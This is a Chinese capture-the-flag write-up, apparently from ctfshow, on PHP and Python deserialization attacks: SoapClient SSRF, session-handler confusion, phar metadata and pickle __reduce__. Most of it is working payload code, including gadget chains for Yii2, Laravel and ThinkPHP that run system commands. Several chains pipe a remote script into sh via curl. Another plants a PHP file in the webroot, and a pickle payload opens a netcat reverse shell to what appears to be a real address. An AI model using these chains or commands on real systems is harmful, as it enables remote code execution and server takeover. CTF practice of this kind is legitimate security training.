SoapClient类 __call
魔术方法
__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
当我们执行$vip->getFlag();
会因为SoapClient类不存在getFlag方法而调用__call()
方法,进而发送一个POST请求,我们在访问flag.php的时候需要我们的IP为127.0.0.1,我们可以利用这个POST请求来进行SSRF。
一定要安装soap拓展并在php.ini中修改配置。
$post_string = 'token=ctfshow';
$soap = new SoapClient(
null,
array(
'uri'=> "http://127.0.0.1/flag.php",
'location' => 'http://127.0.0.1/flag.php',
'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
// 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string,
)
);
echo(urlencode(serialize($soap)));
get传vip=xxx,然后访问/flag.txt
Session
一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session
会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session
机制。
PHP session
可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session
变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session
值会存储于服务器端,这也是与 cookie
的主要区别,所以seesion
的安全性相对较高。
详细内容请参考:https://xz.aliyun.com/t/6640
PHP session
的存储机制是由session.serialize_handler
来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid
来决定文件名的,当然这个文件名也不是不变的,如Codeigniter
框架的 session
存储的文件名为ci_sessionSESSIONID
。
session.serialize_handler
定义的引擎有三种,如下表所示:
处理器名称 | 存储格式 |
---|---|
php | 键名 + 竖线 + 经过serialize() 函数序列化处理的值 |
php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize() 函数序列化处理的值 |
php_serialize | 经过serialize()函数序列化处理的数组 |
注:自 PHP 5.5.4 起可以使用 php_serialize
php
处理器和php_serialize
处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。
形成的原理就是在用session.serialize_handler = php_serialize
存储的字符可以引入 | , 再用session.serialize_handler = php
格式取出$_SESSION
的值时, |
会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
步骤一:寻找session_start()
我们可以在inc.php和index.php中找到,并且index.php使用默认格式,而inc.php中使用ini_set('session.serialize_handler', 'php');
,php和php_serialize格式混用,导致反序列化。
步骤二:寻找可控session点
我们可以在index.php中找到这么一句
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
我们可以上传cookie值随意控制session值。
步骤三:序列化和构造危险session
class User{
public $username = 'shell.php';
public $password = '';
}
$user = new User();
echo(base64_encode('|'.serialize($user)));
?>
将得到的payload放进cookie,先访问index.php,再访问check.php,因为check.php包含了inc.php,最后访问log-shell.php,查看源代码即可获得flag。
看关键代码
$ctfshow->token=md5(mt_rand());
return $this->token===$this->password;
mt_rand() 函数使用 Mersenne Twister 算法生成随机整数。
这道题要求password和随机整数的md5值相等,还是强等于。
php中也有类似c语言指针的东西&。
PHP的引用允许你用两个变量来指向同一个内容。无论对哪个变量名的值进行了修改,其他变量名访问的内容也会随之改变。与C语言中的指针是有差别的。C语言中的指针里面存储的是变量的内容,在内存中存放的地址。
$a = 10;
$b = &$a;
$a = 11;
var_dump($a, $b); // 输出11, 11
$b = 12;
var_dump($a, $b); // 输出12, 12
我们把password指向token即可
Payload:
class ctfshowAdmin{
public $token;
public $password;
public function __construct(){
$this->password =&$this->token;
}
$a=new ctfshowAdmin();
echo serialize($a);
PHP特性:函数名和类名不区分大小写,变量名区分。
Payload:
O:7:"CtfsChow":0:{}
版本<=2.0.37
大佬文章:https://mp.weixin.qq.com/s?__biz=MzU5MDI0ODI5MQ==&mid=2247485129&idx=1&sn=b27e3fe845daee2fb13bb9f36f53ab40
yii2是一个使用php语言的开发框架,其版本小于2.0.38存在多条反序列化的利用链。
这题貌似禁用了一些函数,而且还没有回显。尝试反弹shell。
Payload:
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'curl https://your-shell.com/your-ip:6666 | sh';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'curl https://your-shell.com/your-ip:6666 | sh';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'curl https://your-shell.com/your-ip:6666 | sh';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 这里需要改为isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
反弹失败靶场得重开,可以dnslog带出,也可以写文件。
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('shell_exec', "echo '' > /var/www/html/basic/web/1.php");
echo(base64_encode(serialize($exp)));
}
参考链接:https://laworigin.github.io/2019/02/21/laravelv5-7%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96rce/
namespace Illuminate\Foundation\Testing {
class PendingCommand
{
public $test;
protected $app;
protected $command;
protected $parameters;
public function __construct($test, $app, $command, $parameters)
{
$this->test = $test; //一个实例化的类 Illuminate\Auth\GenericUser
$this->app = $app; //一个实例化的类 Illuminate\Foundation\Application
$this->command = $command; //要执行的php函数 system
$this->parameters = $parameters; //要执行的php函数的参数 array('id')
}
}
}
namespace Faker {
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Illuminate\Foundation {
class Application
{
protected $instances = [];
public function __construct($instances = [])
{
$this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
}
}
}
namespace {
$defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));
$app = new Illuminate\Foundation\Application();
$application = new Illuminate\Foundation\Application($app);
$pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('curl https://your-shell.com/your-ip:6666 | sh'));
echo urlencode(serialize($pendingcommand));
}
参考链接:https://xz.aliyun.com/t/5911
namespace PhpParser\Node\Scalar\MagicConst{
class Line {}
}
namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;
public function __construct($config, $code)
{
$this->config = $config;
$this->code = $code;
}
}
}
namespace Mockery\Loader{
class EvalLoader{}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace{
$line = new PhpParser\Node\Scalar\MagicConst\Line();
$mockdefinition = new Mockery\Generator\MockDefinition($line,"");
$evalloader = new Mockery\Loader\EvalLoader();
$dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
$queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
$pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
echo urlencode(serialize($pendingbroadcast));
}
?>
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
用法:
http://4971bc9c-b457-44dc-bf5a-9a027dc8a8f2.challenge.ctf.show/?lin=cat /flag&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
这道题不是反序列化的题,只需要evilfile=true就可以命令执行。
Payload:
?fn=;tac flag.php
data: 1=flag
这道题比上道多了个admin,想构造序列化数据发现没有反序列化入口。
但是发现有file_get_contents
、和file_put_contents
这样的文件操作函数。
而且我们可以在文件操作函数里面使用伪协议,想到了phar反序列化。
class filter
{
public $filename = ';cat fl*';
public $evilfile = true;
public $admin = true;
}
$a=new filter();
$a->filename=";cat fl*";
$phartest=new phar('phartest.phar',0);//后缀名必须为phar
$phartest->startBuffering();//开始缓冲 Phar 写操作
$phartest->setMetadata($a);//自定义的meta-data存入manifest
$phartest->setStub('');//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测
$phartest->addFromString("test.txt","test");//添加要压缩的文件
$phartest->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
Python中提供pickle
和json
两个模块来实现序列化和反序列化。
序列化函数有dumps()
和dump()
,这俩的区别就是dumps()
只会单纯的将对象序列化,而dump()
会在序列化之后将结果写入到文件当中,一般来说我们就用dumps
就好了。
与之相对的就是反序列化函数,同样也有两个,load()
和loads()
,同样的,loads()
也只是单纯的进行反序列化,而load()
会将结果写入文件中。
而要实现代码执行的关键,就是一个魔法函数__reduce__
。
import pickle
import base64
class A(object):
def __reduce__(self):
return(eval,('__import__("os").popen("nc xxxx port -e /bin/sh").read()',))
a=A()
test=pickle.dumps(a)
print(base64.b64encode(test))
Payload:
http://4b7c2717-a8f1-4d02-9f63-b262a10824c2.challenge.ctf.show/backdoor?data=gASVXQAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxBX19pbXBvcnRfXygib3MiKS5wb3BlbigibmMgMTE4LjMxLjE2NS42MyA2NjY2IC1lIC9iaW4vc2giKS5yZWFkKCmUhZRSlC4=